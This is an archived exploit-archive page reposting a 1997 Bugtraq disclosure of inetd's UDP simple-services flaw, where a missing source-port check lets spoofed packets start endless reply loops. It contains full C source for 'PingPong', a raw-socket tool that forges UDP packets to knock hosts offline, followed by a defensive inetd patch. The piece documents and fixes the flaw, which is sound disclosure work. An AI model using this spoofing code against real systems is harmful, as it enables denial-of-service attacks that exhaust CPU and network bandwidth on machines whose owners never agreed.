Inetd udp port spoofing DOS attack

Summary
Description:This has been very well known for a long time, it even had a CERT advisory quite a while ago. Yet Willy seems to have just found it. Here is the code he sent.
Author:Willy TARREAU <tarreau@AEMIAIF.IBP.FR>
Compromise:Stupid DOS attack
Vulnerable Systems:Netware, Most UNIX variants with shitty admins who don't properly close these trivial UDP services.
Date:21 June 1997 was when this message was sent, but it is really an *OLD* bug.
Details


Date: Sat, 21 Jun 1997 23:58:16 +0200
From: Willy TARREAU <tarreau@AEMIAIF.IBP.FR>
To: BUGTRAQ@NETSPACE.ORG
Subject: Simple TCP service can hang a system

Hi !

I've noticed that inetd doesn't check the source port for the request
to UDP simple services (echo, time, chargen, daytime).

This means it is possible to build a packet which will look like it comes
from one of these ports, to one of these ports. In this case, each UDP
response from the simple service will generate a new request to the source
port and the system or network can be quickly overloaded.

to test this, I've written a program, let's say an exploit... It completely
builds an UDP packet from RAW IP.

You just have to specify which IP and PORT you want for source and
destination, and then look at the result.

On my Linux 2.0.29, inetd goes to 99% CPU when source/dest are the same
machine with any of these 4 ports.

I tested Netware Client 32 for DOS/Windows, and it simply hangs. Not tested
yet on Win95/NT/Netware...

Concerning Linux, I've patched inetd to prevent it from replying to
requests coming from a port below one specified in the source (I chose 128).

Here comes the exploit, and next, the patch for inetd (inetd from
NetKit-0.09).


Willy Tarreau
--
+---------------+------------------------+--------------------------------+
| Willy Tarreau | tarreau@aemiaif.ibp.fr | http://www-miaif.ibp.fr/willy/ |
| Magistere d'Informatique Appliquee de l'Ile de France (MIAIF), promo 97 |
| DEA  A.S.I.M.E. |  Universite Pierre et Marie Curie (Paris 6), FRANCE   |
+-----------------+-------------------------------------------------------+

-------------------- UDP simple services exploit --------------------------
/*

  PingPong.    970621 by Willy TARREAU  <tarreau@aemiaif.ibp.fr>

  This program sends a spoofed UDP packet to the host you want to test.
  You just have to choose source address/port and destination address/port.
  There are two main uses of this program:
  - generate a packet which will make inetd reply to itself continuously on a given
    host. This will slow down a system because inetd will use most of the CPU to
    reply to its own requests.
  - generate a packet which will initiate a "ping pong" between two machines. In this
    case, this will consume network bandwidth for nothing.

  On Linux, inetd is fooled on these internal ports:

  7: echo
  13: daytime
  19: chargen
  37: time

  Netware Client 32 hangs the workstations with 7 or 19. Others not tested yet.
  Not tested yet on Netware nor WinNt nor Win95.


  As this program uses RAW sockets, you need to run it as root.

*/

#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>
#include <errno.h>

struct sockaddr addrfrom;
struct sockaddr addrto;
int s;
u_char outpack[65536];
struct iphdr *ip;
struct udphdr *udp;



main(int argc, char **argv) {
    struct sockaddr_in *from;
    struct sockaddr_in *to;
    struct protoent *proto;
    int i;
    char *src,*dest;
    int srcp, destp;
    int packetsize,datasize;


    fprintf(stderr,"PingPong 1.0 - 970621 by Willy Tarreau <tarreau@aemiaif.ibp.fr>\n");
    fprintf(stderr,"<<< PLEASE USE THIS FOR TESTS ONLY AND WITH ADMINISTRATORS' AUTHORIZATION >>>\n\n");
    if (argc!=5) {
        fprintf(stderr,"wrong arg count.\nUsage: pingpong src_addr src_port dst_addr dst_port\n");
        fprintf(stderr,"src_addr and dst_addr must be given as IP addresses (xxx.xxx.xxx.xxx)\n");
        fprintf(stderr,"Note that it often works with 127.0.0.1 as src_addr !\n");
        exit(2);
    }
    src=argv[1];
    srcp=atoi(argv[2]);
    dest=argv[3];
    destp=atoi(argv[4]);

    if (!(proto = getprotobyname("raw"))) {
        perror("getprotobyname(raw)");
        exit(2);
    }
    /* "raw" should be 255 */
    if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0) {
        perror("socket");
        exit(2);
    }

    memset(&addrfrom, 0, sizeof(struct sockaddr));
    from = (struct sockaddr_in *)&addrfrom;
    from->sin_family = AF_INET;
    from->sin_port=htons(srcp);
    if (!inet_aton(src, &from->sin_addr)) {
        fprintf(stderr,"Incorrect address for 'from': %s\n",src);
        exit(2);
    }

    memset(&addrto, 0, sizeof(struct sockaddr));
    to = (struct sockaddr_in *)&addrto;
    to->sin_family = AF_INET;
    to->sin_port=htons(destp);
    if (!inet_aton(dest, &to->sin_addr)) {
        fprintf(stderr,"Incorrect address for 'to': %s\n",dest);
        exit(2);
    }

    packetsize=0;

    /* lets's build a complete UDP packet from scratch */

    ip=(struct iphdr *)outpack;
    ip->version=4;      /* IPv4 */
    ip->ihl=5;          /* 5 words IP header */
    ip->tos=0;
    ip->id=0;
    ip->frag_off=0;
    ip->ttl=0x40;
    if (!(proto = getprotobyname("udp"))) {
        perror("getprotobyname(udp)");
        exit(2);
    }
    /* "udp" should be 17 */
    ip->protocol=proto->p_proto;   /* udp */
    ip->check=0;    /* null checksum, will be automatically computed by the kernel */
    ip->saddr=from->sin_addr.s_addr;
    ip->daddr=to->sin_addr.s_addr;
    /* end of ip header */
    packetsize+=ip->ihl<<2;
    /* udp header */
    udp=(struct udphdr *)((int)outpack + (int)(ip->ihl<<2));
    udp->source=htons(srcp);
    udp->dest=htons(destp);
    udp->check=0;   /* ignore checksum */
    packetsize+=sizeof(struct udphdr);
    /* end of udp header */
    /* add udp data here if you like */
    for (datasize=0;datasize<8;datasize++) {
        outpack[packetsize+datasize]='A'+datasize;
    }
    packetsize+=datasize;
    udp->len=htons(sizeof(struct udphdr)+datasize);
    ip->tot_len=htons(packetsize);
    if (sendto(s, (char *)outpack, packetsize, 0, &addrto, sizeof(struct sockaddr))==-1) {
        perror("sendto");
        exit(2);
    }
    printf("packet sent !\n");
    close(s);
    printf("end\n");
    exit(0);
}


-------------------- patch for inetd --------------------

--- inetd.c     Sat Nov 23 19:44:12 1996
+++ inetd-fix.c Sat Jun 21 23:38:09 1997
@@ -170,6 +170,7 @@
 #define        TOOMANY         40              /* don't start more than TOOMANY */
 #define        CNT_INTVL       60              /* servers in CNT_INTVL sec. */
 #define        RETRYTIME       (60*10)         /* retry after bind or server fail */
+#define MINSRCPORT      128             /* below this port, UDP requests are ignored */

 #define        SIGBLOCK        (sigmask(SIGCHLD)|sigmask(SIGHUP)|sigmask(SIGALRM))

@@ -1271,6 +1272,8 @@
        size = sizeof(sa);
        if ((i = recvfrom(s, buffer, sizeof(buffer), 0, &sa, &size)) < 0)
                return;
+       if (ntohs(((struct sockaddr_in *)(&sa))->sin_port)<MINSRCPORT)
+           return;
        (void) sendto(s, buffer, i, 0, &sa, sizeof(sa));
 }

@@ -1369,6 +1372,9 @@
        if (recvfrom(s, text, sizeof(text), 0, &sa, &size) < 0)
                return;

+       if (ntohs(((struct sockaddr_in *)(&sa))->sin_port)<MINSRCPORT)
+           return;
+
        if ((len = endring - rs) >= LINESIZ)
                bcopy(rs, text, LINESIZ);
        else {
@@ -1423,6 +1429,10 @@
        size = sizeof(sa);
        if (recvfrom(s, (char *)&result, sizeof(result), 0, &sa, &size) < 0)
                return;
+
+       if (ntohs(((struct sockaddr_in *)(&sa))->sin_port)<MINSRCPORT)
+           return;
+
        result = machtime();
        (void) sendto(s, (char *) &result, sizeof(result), 0, &sa, sizeof(sa));
 }
@@ -1456,6 +1466,8 @@
        size = sizeof(sa);
        if (recvfrom(s, buffer, sizeof(buffer), 0, &sa, &size) < 0)
                return;
+       if (ntohs(((struct sockaddr_in *)(&sa))->sin_port)<MINSRCPORT)
+           return;
        sprintf(buffer, "%.24s\r\n", ctime(&clocc));
        sendto(s, buffer, strlen(buffer), 0, &sa, sizeof(sa));
 }

----------------------- end of patch -------------

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resouces:

[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]